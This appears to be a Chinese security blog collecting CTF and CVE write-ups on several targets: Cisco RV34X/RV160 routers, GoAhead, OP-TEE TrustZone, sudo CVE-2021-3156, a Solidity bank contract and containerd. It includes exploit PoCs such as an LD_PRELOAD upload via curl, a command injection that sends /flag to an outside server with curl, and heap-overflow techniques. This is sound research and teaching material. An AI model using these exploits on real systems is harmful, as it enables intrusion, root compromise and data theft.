TokenBankChallenge.withdraw(uint256)
中存在重入漏洞:
它先发出消息调用 token.transfer(msg.sender)
后修改状态
前者又会发起外部调用 ITokenReceiver(to).tokenFallback()
,
1 | if (isContract(to)) { |
判断了to地址是否是个合约地址,如果是合约的话就用ITokenReceiver
接口来调用to
合约的tokenFallback
函数,在银行合约里这个函数用更改目标的balance,但是to
是我们可控的 , 我们只需部署攻击合约,且该合约也存在 tokenFallback
函数,然后函数中再调用 TokenBankChallenge.withdraw
, 就可以合约身份执行withdraw
函数
步骤:
1 | pragma solidity ^0.4.21; |
将 Bank中的 balance 全部提换成 Token -> TokenBankChallenge.withdraw =>SimpleERC223Token
设置 allowance : allowance[from=player][msg.sender=player] =500000000000000000000000
将 player 的 Token 全部转到攻击合约上:
1 | simpleERC223Token_contract.functions.transferFrom(player_account.address,to=attack_contract_address,value=500000000000000000000000) |
这样就完成了攻击步骤
至此就全部做完了:
影响版本: RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img
Software Download - Cisco Systems
Nginx 配置不当加上 upload.cgi 对 cookie 两者处理不一致导致的授权绕过。
首先 nginx 对 upload 模块的 session 的处理如下:
1 | $ cat web.upload.conf |
可以发现, 这里是判断如果 /tmp/websession/token/$cookie_sessionid
文件存在,则返回。 注意这里的 $cookie_sessionid
是由用户在 HTTP 请求中传入的。可以看到这里的文件没有判断是否存在 ../../
。因此如果我们跨目录指向一个存在的文件就可能造成授权绕过。像这里作者使用的是 ../../../etc/firmware_version
。
虽然在 upload.cgi
对 HTTP_COOKIE 进行了正则校验
1 | v16 = strcmp_1(REQUEST_URI, "/api/operations/ciscosb-file:form-file-upload"); |
但是在程序没有考虑用户在 HTTP cookie 中传入多个 session_id 的情况
1 | if (HTTP_COOKIE != 0) { // if an cookie is available |
那么如果设置两个 seesionid , 第一个为 ../../../etc/frimware_version
, 第二个为可以通过正则的有效字符。
最后我们就可以用授权的状态访问 upload.cgi
了。
作者在 upload.cgi
里找到了一个命令注入。
1 | if (json_obj != 0) { |
这里的的 json_str 没有校验, 会造成命令注入。
我们之前分析了 CVE-2022-20699-cisco-RV34X 的时候,注意到一个补丁, 修补了 Nginx 的配置不当的漏洞。然后今天和 @leommxj 一起追溯了一下 cisco 的修补历史。
nginx 对调用 upload.cgi 没有任何的校验, 因此可以访问 upload.cgi , 还出两个漏洞 #CVE-2020-3451 #CVE-2020-3453
相关的漏洞信息为:
ZDI-20-1100 | Zero Day Initiative
ZDI-20-1101 | Zero Day Initiative
Cisco Small Business RV340 Series Routers Command Injection and Remote Code Execution Vulnerabilities
之后有个老哥发现 cisco 虽然加行了授权校验,但是加得不行。
这个修复有一个致命的缺陷。逻辑是这样的,任何非空的授权标头都会将 $deny 设置为“0”。因此,从字面上发送任何看起来有效的授权标头作为请求/上传的一部分将绕过授权检查。
相关漏洞信息为:
#CVE-2021-1473 #CVE-2021-1472
Advisory: Cisco RV34X Series - Authentication Bypass and Remote Command Execution - IoT Inspector (iot-inspector.com)
然后这个版本之后去掉了上图 13 行的 nginx 配置。但是出现了此次 CVE-2022-20705 这个漏洞了。
最新版本的 nginx 现在配置文件如下:
1 | location /upload { |
增加了一个正则判断。
一个点有意思的是, 这CVE-2022-20705 作者 和 CVE-2021-1473 作者用到的命令注入和我当时挖到两个编号 #CVE-2021-1609 和 #CVE-2021-1610 的漏洞点在一行代码里,这意思就是这行代码一共出了 4 个漏洞编号
以后挖 IoT 漏洞也要多注意一下 web 相关的配置了。
第四届 realworldctf 我和 @chennan 出了三个题目,分别是 Trust or Not
, UnTrustZone
and Wheels on the Bus
, 其中 Trust or Not
, UnTrustZone
是和 TrustZone 相关的题目。
TrustZone是基于硬件的安全功能,它通过对原有硬件架构进行修改,在处理器层次引入了两个不同权限的保护域——安全世界和普通世界,任何时刻处理器仅在其中的一个环境内运行。同时这两个世界完全是硬件隔离的,并具有不同的权限,正常世界中运行的应用程序或操作系统访问安全世界的资源受到严格的限制,反过来安全世界中运行的程序可以正常访问正常世界中的资源。这种两个世界之间的硬件隔离和不同权限等属性为保护应用程序的代码和数据提供了有效的机制:通常正常世界用于运行商品操作系统(例如Android、iOS等),该操作系统提供了正常执行环境(Rich Execution Environment,REE);安全世界则始终使用安全的小内核(TEE-kernel)提供可信执行环境(Trusted Execution Environment,TEE),机密数据可以在TEE中被存储和访问。
题目描述:
Trust or Not
Score: 357
1 >Reverse`, `difficulty:normalWe have lost some of our files and cannot retrieve the plaintext data originally stored.
Hint: flag file is stored in
/data/tee/2
securely.
1 >nc 47.242.114.24 7788
要解决这个题目,首先要了解什么是安全存储。 数据要么以某种加密/授权的方式存储在linux文件系统/data/tee
中,要么存储在Emmc RPMB(Replay Protected Memory Block)分区中。这次的相关题目主要使用了 OP-TEE
的开源项目,其更详细的信息可以在OP-TEE文档 中找到。
**Hardware Unique Key (HUK) **
大多数设备都有某种硬件唯一密钥(HUK),主要用于派生其他密钥。例如,当派生密钥用于安全存储等时,可以使用 HUK 派生。HUK 的重要之处在于它需要得到很好的保护,并且在最好的情况下,HUK 永远不应该直接从软件读取,甚至不应该从安全方面读取。有不同的解决方案,加密加速器可能支持它,或者,它可能涉及另一个安全的协处理器。
Secure Storage Key (SSK)
SSK是每个设备的密钥,在OP-TEE启动时生成并存储在安全内存中。SSK用于派生TA存储密钥(TSK)。
1 | SSK = HMACSHA256 (HUK, Chip ID || “static string”) |
获取硬件唯一密钥(HUK)和芯片ID的功能取决于平台实现。目前,OP-TEE 系统中每台设备只有一把 SSK,用于安全存储子系统。但是,为了将来,我们可能需要为每台设备使用生成 SSK 的相同算法为不同的子系统创建不同的密钥。为不同子系统生成不同的密钥的简单方法是使用不同的静态生成密钥的字符串。
Trusted Application Storage Key (TSK)
TA存储密钥
TSK是每个受信任的应用程序密钥,由SSK和TA的标识符(UUID)生成。它被用来保护FEK,换句话说,用来加密/解密FEK。
代码实现:build/optee_os/core/tee/tee_fs_key_manager.c
1 | if (uuid) { |
do_hmac 这里使用的是 HMAC_SHA256
最后就是
1 | TSK = HMACSHA256 (SSK, TA_UUID) |
File Encryption Key (FEK)
当一个新的TEE文件被创建时,密钥管理器将通过 PRNG(pesudo随机数生成器)为TEE文件生成一个新的 FEK,并将加密的 FEK 存储在 meta 文件中。FEK 用于对存储在 meta 文件中的TEE文件信息或块文件中的数据进行加密/解密。
通过逆向和比对OP-Tee的源代码,希望选手能发现 HUK
没有被设置。然后flag被加密了且存储在 /data/tee/2
文件里
1 | TEE_Result __fastcall tee_otp_get_hw_unique_key(tee_hw_unique_key *hwkey) |
那么只要分析下安全存储的过程,可以参考如图:
思路就大概是
HUK
和 chip id
计算出 SSK
SSk
和 TA UUID
计算出 TSK
TSK
和 被加密的 FEK
计算出明文 FEK
FEK
解出明文的数据其中被加密的 FEK
存储在 /data/tee/2
文件中,可以参考如下 010 tempte结构
1 | //------------------------------------------------ |
最后脚本如下:
1 | from Crypto.Cipher import AES |
题目描述
UntrustZone
Score: 500
1 Pwn`, `difficulty:normalIt is clearly not worth your trust.
The default username is root.
1 nc 47.243.205.105 8899
这个题需要补充一些关于 TrustZone
的另外一部分关于 TA
和CA
的前置知识。 TA
是 Trusted Application 的缩写,通常运行在 TEE 环境下的应用简称为 TA
。CA
是 Client Application 的缩写,通常运行在 REE 环境下的应用简称为 CA。
一个访问安全OS的服务流程为:打开 TEE 环境 > 开启一个会话 > 发送命令 > 获取信息 > 结束会话 > 关闭 TEE 环境。
借助OP-TEE来实现特定安全需求时,一次完整的功能调用一般都是起源于CA,TA做具体功能实现并返回数据到CA,而整个过程需要经过OP-TEE的client端接口,OP-TEE在Linux kernel端的驱动,Monitor模式下的SMC处理,OP-TEE OS的thread处理,OP-TEE中的TA程序运行,OP-TEE端底层库或者硬件资源支持等几个阶段。当TA执行完具体请求之后会按照原路径将得到的数据返回给CA。
设计这个题目的时候,就只是想让选手了解下 TA
这个攻击面,所以漏洞设计的得特别简单,就是一个在TA
中的栈溢出,我修改了附件中的HUK
和签名时候的 key 让他保持于远程的不一致。希望选手通过 Pwn 这个 TA, 来获取 安全存储,即 /data/tee/2
下被加密的 flag 。
1 | data_sz = params[1].memref.size; |
参考: optee-build/debug.md at master · ForgeRock/optee-build (github.com)
首先对 ldelf 的入口下断, b thread_enter_user_mode
然后执行 CA 程序,在 LOG 窗口中找到 TA 的加载地址
然后对 TA 入口下断, b *(baseaddr + TA_InvokeCommandEntryPoint_addr
无源码调试
OP-TEE 有日志功能,在日志功能中能看到 TA 的加载地址,可以通过这个进行调试
Text Address | File Name | Description |
---|---|---|
0x0 | bl1.elf | ARM Trusted Firmware Boot Loader Stage 1 |
0x1070 | libteec.so | OP-TEE Client Shared Library [Normal World] |
0x4009c0 | Client Application [Normal World] | |
0xe01b000 | bl2.elf | ARM Trusted Firmware Boot Loader Stage 2 |
0xe040000 | bl31.elf | ARM Trusted Firmware Boot Loader Stage 3-1 |
0xe100000 | tee.elf | OP-TEE |
0xffff000008081000 | vmlinux | Linux Kernel [Normal World] |
1 | user mode内存布局 |
一般而言: ldelf 加载地址是固定的, 处理代码位于 build/optee*os/core/arch/arm/kernel/ldelf_loader.c
ldelf_load_ldelf
函数中, 最后加载的base为 0x40006000, 具体代码可见build/optee_os/core/arch/arm/kernel/ldelf_loader.c
解题关键是需要了解没法直接解密的时候,我们应该如何读取 flag:
首先, ldefl
加载基地址是不变的,我们可以在这上边找 gadget , 另外虽然 TA
有随机化,但是这随机化并不是很高,可以通过爆破解决。所以 TA
的程序也是找 gadget 的目标之一。ldefl 程序的代码段是被通过 ldelf_load_ldelf
函数是写死在 bl32_extra1.bin
中的。
最后我们找到的了几个可以设置 5 个参数的 gadget。
1 | uint64_t CallFun5(TEEC_Session* sess,uint64_t func,uint64_t x0,uint64_t x1,uint64_t x2,uint64_t x3,uint64_t x4) |
OP-TEE中secure stroage——安全存储使用的key的产生 (daimajiaoliu.com)
OP-TEE Documentation — OP-TEE documentation documentation (optee.readthedocs.io)
近日爆出GoAhead存在RCE漏洞(实际来源于 PBCTF 的一道题目),漏洞源于文件上传过滤器的处理缺陷,当与CGI处理程序一起使用时,可影响环境变量,从而导致RCE。漏洞影响版本为:
我为啥看这个漏洞呢?是因为 phith0n 师傅发了一篇复现踩坑记, 我对其中一块 文件描述符找不到的解决过程比较感兴趣。于是和 @leommxj 一起看了下。然后简单记录了下这些过程,比较简略。
参考 phith0n 的文章: GoAhead环境变量注入复现踩坑记 - 跳跳糖 (tttang.com)
Dockerfile 如下
1 | FROM beswing/swpwn:18.04 |
这也是这个漏洞的第一个坑:新版本的GoAhead默认没有开启CGI配置,而老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。所以并不像某些文章里说的那样影响广泛。
调用栈如下:
1 | #1 0x00007f44624fc11d in cgiHandler (wp=0x55e66c994790) at src/cgi.c:216 |
整个goahead
处理cgi
所对应post
请求处理流程小结如下:
调用websRead
函数,所有数据保存到了wp->rxbuf中。
调用
websPump
,该函数包含三部分:
parseIncoming
函数解析请求头以及调用websRouteRequest
确定相应的处理函数。processContent
将处理post数据,将其保存到tmp文件中。websRunRequest
函数,调用相应的处理函数,cgi对应为cgiHandler
。调用cgiHandler
,将请求头以及get参数设置到环境变量中,调用launchCgi
函数。
调用launchCgi
函数,将标准输出输入重定向到文件句柄,调用execve
启动cgi进程。
strim
函数的错误使用strim 函数定义如下:
1 | PUBLIC char *strim(char *str, cchar *set, int where) |
当第二个参数为 0 的时候, 直接返回 0 。然而 goahead 的 cgi.c:176 行代码是这样使用的
那么此处 vp 的 值为 0 , 因此后续的 smatch 判断都毫无意义。 另外我们注意到 182 和 186 行都是设置环境变量, 然而 183 行处会拼接 CGI_
到字符, 因此不是我们漏洞利用的目标。
1 |
因此我们需要走到 186 行代码,需要 s->arg
为 0 即可(初始化状态为0
)
需要在Body中发送multipart表单,然后在劫持环境变量。 PoC 如下:
1 | curl -vv -F data=@poc.so -F "LD_PRELOAD=/proc/self/fd/7" http://127.0.0.1:8080/cgi-bin/test.cgi\n |
在使用如上 Dockerfile 作为环境的漏洞利用过程中,会发现劫持 so 的过程会有如下报错
ERROR: ld.so: object '/proc/self/fd/7' from LD_PRELOAD cannot be preloaded (file too short): ignored.
ERROR: ld.so: object '/proc/self/fd/5' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/proc/self/fd/2' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.
经过调试和代码阅读分析了,大致原因如下:
当最后一个包被处理的时候,即进到 upload.c#processContentData
函数中
即 334 行代码处,进入到 get
函数中,此函数逻辑为判断是否读到 upload 数据的结束符号,即 boundary
1 | ───────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── |
如果是则返回 cp
, 因此,当正常的数据包的时候,此时 334 行的判断不成立,代码会往下走,最后走到 391 代码,close 调临时文件的 fd, 因此包含的时候会报错。
那么怎么解决这个问题呢? phith0n 师傅文章中的解决方案如下:
首先构造好之前那个无法利用的数据包,其中第一个表单字段是
LD_PRELOAD
,值是文件描述符,一般是/proc/self/fd/7
。然后我们需要改造这个数据包:
- 给payload.so文件末尾增加几千个字节的脏字符,比如说
a
- 关掉burpsuite自动的“Update Content-Length”
- 将数据包的Content-Length设置为不超过16384的值,但需要比payload.so文件的大小要大个500字节左右,我这里设置为15000
构造如下payload:
那么这个方法是如何生效的呢? 当出发upload 后,到执行 cgi, 程序代码会调用processContent
将处理post数据,将其保存到tmp文件中, 其代码如下:
当 wp->oef
为假时, 程序会判断 post 的数据未读完,因此会进到 filterChunkData
函数中, 当程序判断数据已经读完,
即 wp->rxRemainning <=0
后,会设置 wp->eof
的值为 1 。 这表明根据 数据已经接受完毕,然后走到 upload.c:1216
行, 调用 websProcessUploadData
函数
执行到如上图中到 145 行代码处,调用processContentData`函数,
由于我们设置的 Content-Length 小于总的数据包大小,因此我们是读不到 Boundaray
,因此这里 348 代码返回 0 。
canProceed
为零,从148 代码处返回到 http.c:1216 行。
然后从 1218 行处代码返回到 http.c:867 行
接着 for 循环因为 canProceed 为 0 ,因此 break 退出循环。至此到这还没有调到 cgi ,但程序的数据已处理完一部分。 然后程序直接退回到 readEvent
, 之后由于我们数据包并没有发送完, 还有一部分到脏数据未处理。代码又会走一遍
1 | socketEvent—>readEvent->websPump->processContent |
当到 processContent 函数的时候,
1209 行代码不满足, 1239 行代码满足, 因此 wp->state
被设置为 WEBS_READY 。然后再 websPump 代码处执行 websRunrequest
, 最后执行 CGI 。
总结
根据以上的分析以及之后的实践, 我们发现除了 phith0n 师傅的这种方法,其实还有其他方法,且不需要竞争
1 |
|
FIX: trim CGI env vars for black list · embedthis/goahead@5bc7641 (github.com)
1 | @@ -173,10 +173,10 @@ PUBLIC bool cgiHandler(Webs *wp) |
修正了 strim 函数的正确使用,以及对文件上传处理同样加入了sp->arg = 1
的处理
update : 2022/01/17
@nepire 今天和我提了一个解决这个问题的另外一个方法 , 我们简单回顾下代码
我们可以看到我们的临时文件是在 src/upload.c:342 行写入的,但是除了此处以为我们没有其他地方写临时文件了吗?搜索一下 write\(.*fd
写入文件的代码
我们找到另外一处文件描述符, wp->cgifd
, 其写入的内容为 wp->input.servp
, 那么我们如何保证 wp->input.servp
数据即为 ELF 的数据呢?
根据简单阅读代码, 即在 upload.c 代码中
在 upload 处理数据的过程中, 数据指针由 bufCompact
函数处理:
该函数将此次读取的 数据由 bp->servp
拷贝到 bp->buf
中, 然后在移动修改 bp->servp
, 当读取到 Boundary
结束的时候,bp->servp
刚好指向了 --------------------------6671c05704e869e7--
的结尾处,因此我们只需在此处后面补充 ELF 数据即可
因此大致 PoC 如下:
1 | headers = """POST /cgi-bin/test.cgi HTTP/1.1\r |
另外此时劫持的 fd 可以指向 0 或者 6, 因为在 launchCgi 函数中会重新 dup2 相关文件描述符。
周末和r3kapig的小伙伴一起打了, 0CTF/TCTF 2021 Quals, 然后两天的时间都耗在了 iOA 和 RV 这两个题身上了。
(https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/20210706110534.png)
这个题目,在 pizza 和 圣博 因为在拖着我的情况下做了好久才做出来, 最终拿了个二血。
题目实现了一个 sslvpn 协议栈,有几个漏洞点
(1)urlencode 可以绕过 ../ 的检查,导致跨目录文件读取, 可以读取 user.txt 的账号密码
(2) vip 的 bitmap 操作有负数越界操作, 可以访问bss上的内容, 读master_key,改dhcp_pool,用req_vip的整数截断leak canary,在req_vip里栈溢出。
相关文件可以这里获取;
sslvpn idb
http://bestwing.me/attachments/2021-TCTF-quals/iOA/sslvpnd.i64
http://bestwing.me/attachments/2021-TCTF-quals/iOA/exploit.py
题目描述:
Cisco RV160 Router behind iOA!
remote version is1.0.01.01
.
http://10.1.1.1
这个题目呢, 是一个 Cisco RV160的 1day题,这题也是比较可惜的。其实能做出来的,因为之前我刚好也给思科报过 RV160的洞,是一个httpd上的栈溢出,刚好也是这个版本。但是打比赛的时候为了省事, 想用 cgi 的命令注入打, 没打成功,而且不管访问什么当时都是返回 403 错误,一度让我怀疑人生
赛后才知道, 由于主办方是 docker + qemu 启动的, 猜测导致有些环境变量有问题,因此在403 check 的时候过不去,因此根本到不了执行 cgi 的位置。
然后在这里我打算公开这个的漏洞的细节,以及在这个题目上的利用, 这个漏洞应该是去年报告的,编号为 CVE-2021-1293
在处理 cookie 的时候,会存在溢出栈溢出。
(1) 首先在 httpd handle 中, cookie 的指针会赋值到一个全局变量里
1 | else if ( !strncasecmp(s1, "Cookie:", 7u) ) |
(2) 然后在 check_need_login 函数中, 会判断哪些 uri 需要登录
1 | v33 = check_need_login(v25); |
1 | int check_need_login() |
例如, 我访问 this_is_hack.htm ,这个url, 这个就符号需要登录的逻辑
(3) 然后 进入到 check_Is_not_login_page 函数中
在处理 sessionID 的过程中存在栈溢出漏洞
1 | int __fastcall sub_16138(char *cookie, const char *buf) |
判断 cookie 是否有 sessionID
字符串, 如果存在则进到 sub_15CE4
函数, 然后就能看到明显的栈溢出漏洞
1 | src = 0; |
溢出后,我们可以控制的, 看起来我们可以控制的寄存器只有 R11 , 但实际上,返回后 R0 寄存器则是我们传入 cookie 参数的指针。
因此我们可以在 payload 的前面直接放置 system 执行的命令,然后控制 PC跳转到 system 函数上( httpd 程序本身有调用 httpd 的地方,不需要leak, 另外提一句,因为有 00 截断,因此我只能控制一次 PC 的地址,但是对这个环境来说足够了
另外这个题目在 0ctf 中是位于 iOA的后面的, 我们需要通过 iOA的vpn功能,访问内网中这个路由器,因此我们需要手撸一个 route 转发, 然后我们的圣博就直接用 scapy 简单撸了一个。
1 | ..... |
最后利用 curl -d @/flag server:port
的命令获取了flag (另外不能有空格, 如果存在空格的话就会被截断,因此这里用了 ${IFS} 替换了空格)
利用脚本:
http://bestwing.me/attachments/2021-TCTF-quals/RV/RV.py
binary idb
http://bestwing.me/attachments/2021-TCTF-quals/RV/mini\_httpd.idb
该漏洞已经修复, strcpy 函数换成了 strncpy 函数, 如果受到漏洞影响请尽快更新固件版本到最新版本。
题目描述:
a simple service backed by special hardware for buying bitcoin: our beta testing server is live at http://52.6.166.222:4567 - this time attack the kernel!
图:1 题目服务首页
从题目的首页的 custom hardware
处可以下到题目的固件包。
图: 2 下载题目固件
可以看到固件包里包以下文件:
1 | ➜ coooinbase tar -xvzf src |
其中 x.rb
是 web 的后端服务,我们需要关注的代码逻辑如图:
图3: x.rb 代码
阅读代码,我们可以知道一下几点:
/buy
api 的时候, 代码会请求 HTTP_POST
地址处的的 /gen-bson
api, 当获取到 /gen-bson
api 返回的数据后,会将数据写入 pwn
文件中,然后以重定向的形式喂入 ./x.sh
文件/gen-bson
这个 api 会调用 valid_credit_card
和 valid_association
函数分别校验填入的 cardnumber 的合法性。 但是值得注意的是,这两个函数均会调用 to_s.gusb(/\D/, '')
将传入的 number
变量中的非数字给去掉,但是在 44 -处的 number
却是仍然带有字符串的,因此此处我们可以传入其他非数字的值 (6011000000000004 这个cardnmumber 可以过校验)gen-bson
在45-46 行处会将参数转成 bson 格式,且 base64 编码, 然后返回(注: 此处还有有个点,我在一开始的时候没注意到,暂且不提)
x.sh
的代码内容如下:
1 | timeout 1 qemu-system-aarch64 -machine virt -cpu cortex-a57 -smp 1 -m 64M -nographic -serial mon:stdio -monitor none -kernel coooinbase.bin -drive if=pflash,format=raw,file=rootfs.img,unit=1,readonly |
用 qemu 跑起一个服务, 内核为: coooinbase.bin
以及有对应的 rootfs.img , 通过以下命令可以将文件系统 mount 出来
1 | modprobe nbd max_part=8 |
可以看到 文件系统中有三个文件:
1 | ➜ rootfs ls |
其中 bin 和 run , 通过逆向发现是一样的文件, flg 是flag 文件
猜测 bin (run) 就是要 pwn 的用户态程序, 通过启动命令,我们知道架构为 aarch64, cpu 为 cortex-a57, 我们使用 IDA Pro 打开该文件, 设置如下:
图4:IDA 加载
图4:IDA分析截图
然后就必然发现 IDA 什么函数都没有分析出来, 所以我们需要修正下我们的 IDB,修复出函数
图5:修复后的 IDA 截图
在 bsion_find_string
中我们发现了一处动态分配栈空间的逻辑
图5:动态分配栈空间
在地址 0xB6C 处, X1 为传入的字符串大小, 此处判断需要动态分配的栈的大小 。
图5:mapping 截图
但是这里存在一个问题, 这个没有判断传入的字符串大小是不是太大,如果太大的话, 例如我传入 0xf000 大小的字符串,那么此时将分配 0xf000 大小的栈, 即 SP = SP - 0xffff
, 由于栈在程序代码段的下方,此时将导致栈会被分配到代码段上,而且由于是 qemu 启动的程序,所有的段都是可写可执行的。
因此,这个题目的思路如下:
构造足够长的字符串,将栈分配之后将执行的代码段位置, 写入 shellcode 然后最后执行 shellcode. 由于程序有现成 open read write 的函数, 因此 shellcode 编写方便了许多,我们只需直接 call 函数即可。
shellcode:
1 |
|
但是这里会出现一个坑点:
ruby to bson 的时候得是 UTF-8 的字符集,这意味这在 x.rb 代码中的(见图4) 45 是过不去的, 然后在比赛的时候一度陷入试图把我的 shellcode 的修改为全为 UTF-8 字符集的艰苦工作中。 然后 peanuts 发现, HTTP_POST
是由 HTTP header 中的 HOST字段控制的, 这以为我们不需要通过后端自身的 /gen_bson
api 传入构造好的 payload , 我们只需搭建我们自己的服务, 当接收到 /gen_bson
请求后, 传回我们的 payload。
内核实现了几个syscall
其中 write 限制了读取的地址的范围
但是 read 中没有限制写入的地址的范围
因此这个题的思路为:
在已经完成的用户态任意代码执行的基础上
1 | # open |
1 月26 日的时候, 有文章披露了 sudo 代码中存在 堆缓冲区溢出,于是花了漫长的时间尝试写相关利用, 本文以学习笔记为主。
完整利用可见:
https://gist.github.com/WinMin/9607a076d847f5768f372988762638f9
The Qualys Research Team has discovered a heap overflow vulnerability in sudo, a near-ubiquitous utility available on major Unix-like operating systems. Any unprivileged user can gain root privileges on a vulnerable host using a default sudo configuration by exploiting this vulnerability.
Sudo is a powerful utility that’s included in most if not all Unix- and Linux-based OSes. It allows users to run programs with the security privileges of another user. The vulnerability itself has been hiding in plain sight for nearly 10 years. It was introduced in July 2011 (commit 8255ed69) and affects all legacy versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to 1.9.5p1 in their default configuration.
Successful exploitation of this vulnerability allows any unprivileged user to gain root privileges on the vulnerable host. Qualys security researchers have been able to independently verify the vulnerability and develop multiple variants of exploit and obtain full root privileges on Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). Other operating systems and distributions are also likely to be exploitable.
这里以 sudo 1.8.31 版本作为分析目标。 ubuntu 20.04.1 作为分析环境
PoC:
1 |
|
漏洞产生的代码位于 plugins/sudoers/sudoers.c
的 set_cmnd
函数
首先通过 854 处,为 sudoedit
-s
后的字符长度分配内存空间, 即 user_args
, 当代码处理到 866 处的时候, 如果参数为如下结构,即
1 | pwndbg> p NewArgv[0] |
第一次拷贝 会将 B
拷贝到 user_args
里,然后 from ++
当 B
拷贝完, from[0] == '\\'
, 且from[1]
不为空的时候, 此时 from ++ , 然后又进到这个 while 循环, from 后面的数据
1 | pwndbg> p from[0] |
这个时候 from 后面的数据为环境变量设置的数据, 即这里此时 from[0]
为 X/X
。最终结果就是 user_args
被越界
原作者的提到了, 他们通过随机添加 LC_*
等环境变量来风水堆布局, 产生了数十种 crash 样本,其中有三种利用思路,
(1)通过覆写 sudo_hook_entry
结构体
该部分代码位于 `src/hooks.c` 107行 , 总体思路为 通过堆溢出,劫持函数指针getenv_fn 的低两位, 通过爆破的方法将函数劫持到 `execv` 来执行我们的程序。 该思路已经有公开的利用代码, 可见[Github](https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156)
(2) 通过覆写 service_user
结构体
该部分代码位于 glibc 源代码中的 `glibc-2.31/nss/nsswitch.c` 的330 行,
1 | 327 static int |
我们通过覆盖 ni->name
,让程序去 ___libc_dlopen
加载我们编写的 libc 库, 在加上 __attribute__ ((constructor))
的魔术方法,来让加载 libc 后第一时间执行我们的代码,
(3)通过覆写 def_timestampdir
结构体
将def_timestampdir覆盖为一个不存在的目录。然后我们可以与sudo的`ts_mkdirs()`竞争,创建一个指向任意文件的符号链接。并且尝试打开这个文件,向其中写入一个struct timestamp_entry。我们可以符号链接将其指向/etc/passwd,然后以root打开他,然后实现任意用户的注入从而root这个类似的利用似乎也有 [Github](https://github.com/r4j0x00/exploits/blob/master/CVE-2021-3156/exploit.c)
这里简单描述一下,我之前调试编写利用第二种方法的过程
首先我们知道了 sudo
代码会根据环境变量中的 LC*
来分配释放堆布局
in setlocale(), we malloc()ate and free() several LC environment variables (LC_CTYPE, LC_MESSAGES, LC_TIME, etc), thereby creating small holes at the very beginning of Sudo’s heap (free fast or tcache chunks);
其次,我们需要明确我们的目标是,我们要让分配的 user_args
结构体 与 service_user
结构体两者间的距离越近越好,因此,我们通过(fuzz 和 手动调试的方法来风水堆布局。
那么如何判断两者间的距离呢? 首先我们对分配 user_args
代码处下断, 即 b sudoers.c:854
, 然后对使用 service_user
处下断,,即b nsswitch.c:330
由于我们的利用是通过 execve
来执行 sudoedit
, 因此我们调试的是我们编写利用程序的子进程,因此还需要设置下 gdb 的调试模式
1 | catch exec |
这样就行了, 我将以上东西集成到一个 gdb 调试脚本中,
1 | catch exec |
然后挂上调试器 gdb exploit -x gdbscript
, 查看两者偏移,
1 | In file: /home/swpwn/Desktop/CVE-2021-3156/sudo-SUDO_1_8_31/plugins/sudoers/sudoers.c |
这里的 tcachebins
是我们即将分配的 user_args
chunk,具体分配是哪个, 取决于 user_args
的大小, 然后再 c 一下
1 | In file: /home/swpwn/glibc-2.31/nss/nsswitch.c |
获取 ni
的地址, 与上面的 tcachebins
进行比较, 越近越好, 我最初的利用脚本两者偏移最小为 0x700 左右,然后中间一路覆盖过去
将 ni->name
覆盖为 “X/X” ,其余内容以 \0
覆盖,这里会涉及一个问题,那么就是如何传入\00
字符呢? 我们知道 参数和环境变量都是不允许写入 \x00
的,否则将被截断。通过阅读代码和调试我们最终发现 我们可以单独的 \\
字符来作为一个 \x00
字符。
最后提及一下,非源码调试的方法,因为当我编写利用后,在本地执行是成功了,但是换了一个机器,即非编译的 sudo 的程序执行的时候却,失败了,这个时候发现自己编译的和系统自带还是不一样的,于是我又写了一个不是自己编译的利用。
当非源码调试的时候,由于漏洞函数是位于 sudoers.so
中,该 so 库并不是一开始就加载的,我们没法在没有符号 和 没有加载的情况下直接下断,所以我们在我们的 payload
设置一些特殊的字符, 比如 0xdeadbeaf
比如我这里设置一个单独的设置 args 参数为 ”BBBBBB”
以及我们再选择对 libc 中的 __libc_dlopen_mode
函数下断,因为我们最终的目的是 dlopen 我们的目标 so 程序,以及下到这个,也相当于到了 nss_load 函数附近了。
但是对这个 __libc_dlopen_mode
可能需要 glibc 的调试符号,可以通过 apt install libc6-dbg
来安装,以及下断需要开启 Pending Breakpoints
功能
1 | # cat gdbscript |
执行 gdb ./exploit -x gdbscript
c 一次, 断到 __libc_dlopen_mode
这是第一次 sudo 在执行 set_cmnd
之前 getpwuid
的 nss_load 操作
再 c 一次 , 这个就是 set_cmnd
之后就的 nss_load , 此时就是溢出之后的, 我们可以通过 search BBBB
1 | pwndbg> search "BBBB" |
来看我们分配的堆的位置
以及查看此时的寄存器
1 | LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA |
0x5555555891e0 地址为要被覆盖的目标
1 | pwndbg> p/x 0x5555555891e0 - 0x555555588bc0 |
通过这样的方法来查看两者的偏移
最后的利用见 https://gist.github.com/WinMin/9607a076d847f5768f372988762638f9
https://visualgdb.com/gdbreference/commands/set_stop-on-solib-events
https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Thank @leommxj for contributing to this challenge
Vulnerability is in the PeFile::rebuildRelocs function of pefile.cpp in upx 3.96 .
When calling the unoptimizeReloc function
jc
variable on line 1021 becomes controllable, and finally the oob write is completed on line 1023generated upx compressed program :
http://bestwing.me/attachments/rwctf-3rd/JunkAV/gen_exploit_bin.py
ibuf_mod :
IO script:
http://bestwing.me/attachments/rwctf-3rd/JunkAV/exploit.py
https://landave.io/2020/11/bitdefender-upx-unpacking-featuring-ten-memory-corruptions/
2020/11/30,公开了 CVE-2020-15257 的细节。该漏洞影响 containerd 1.3.x, 1.2.x, 1.4.x 版本
由于在 host 模式下,容器与 host 共享一套 Network namespaces ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问。所以当一个容器为 root 权限,且容器的网络模式为 --net=host
的时候,通过 ontainerd-shim API 可以达成容器逃逸的目的
在进一步了解漏洞原理之前, 我们需要了解一下啊 containerd-shim 是什么?
在 1.11 版本中,Docker 进行了重大的重构,由单一的 Docker Daemon,拆分成了 4 个独立的模块:Docker Daemon、containerd、containerd-shim、runC
